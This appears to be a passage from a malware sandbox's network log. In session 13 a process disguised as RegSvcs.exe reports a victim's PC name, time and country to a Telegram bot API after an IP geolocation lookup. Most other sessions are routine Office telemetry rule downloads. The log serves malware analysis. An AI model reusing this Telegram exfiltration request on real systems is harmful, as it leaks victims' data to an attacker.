2024-10-29 12:08:17 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49733	149.154.167.220	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:18 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20and%20Time:%2029/10/2024%20/%2023:58:44%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20849224%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-29 12:08:19 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 29 Oct 2024 12:08:19 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-29 12:08:19 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120820Z-17c5cb586f6b6kj91vqtm6kxaw0000000540000000008u8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120820Z-17c5cb586f6z6tw6g7cmdv30m800000007ug000000005md3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120820Z-16849878b786lft2mu9uftf3y400000007t0000000007h15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120820Z-16849878b78z2wx67pvzz63kdg0000000530000000009wef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120820Z-15b8d89586fqj7k5h9gbd8vs9800000007p00000000075zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120821Z-16849878b78fssff8btnns3b1400000006q000000000dmqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120821Z-16849878b78p8hrf1se7fucxk800000007b000000000afzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120821Z-16849878b78wv88bk51myq5vxc00000006ug000000005rqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120821Z-15b8d89586fpccrmgpemqdqe5800000001e0000000003ctc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: b99e46b1-a01e-001e-0499-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120821Z-15b8d89586fqj7k5h9gbd8vs9800000007k000000000a7aw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120822Z-r197bdfb6b48v72xb403uy6hns00000007500000000030yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
